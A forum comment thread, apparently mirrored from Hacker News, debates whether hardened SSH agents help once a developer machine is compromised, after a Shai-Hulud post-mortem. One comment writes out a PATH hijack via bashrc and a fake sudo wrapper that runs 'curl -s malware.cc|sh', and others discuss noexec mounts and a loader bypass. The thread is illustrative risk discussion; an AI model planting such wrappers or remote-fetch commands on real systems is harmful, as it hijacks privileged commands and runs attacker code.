News for hackers. Stuff that matters.

A comment on Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem. Parent comment

Re:Shai-Hulud compromised a dev machine and raided GitHub or... by otterley on Sunday December 14, 2025 @02:45PM (#46266125)
Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by mr_mitm on Sunday December 14, 2025 @02:54PM (#46266212)
I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH
In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@"
You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by otterley on Sunday December 14, 2025 @02:58PM (#46266251)
Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.
[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by mr_mitm on Sunday December 14, 2025 @03:05PM (#46266318)
It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.
[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by dividuum on Sunday December 14, 2025 @04:46PM (#46267314)
I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?
[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by lights0123 on Sunday December 14, 2025 @10:34PM (#46270141)
noexec now prevents mmaping files on that filesystem as executable.
[ Parent | on HN ]
Re:Shai-Hulud compromised a dev machine and raided GitHub or... by LtWorf on Sunday December 14, 2025 @06:58PM (#46268539)
Kinda hard to work as a software developer then.
[ Parent | on HN ]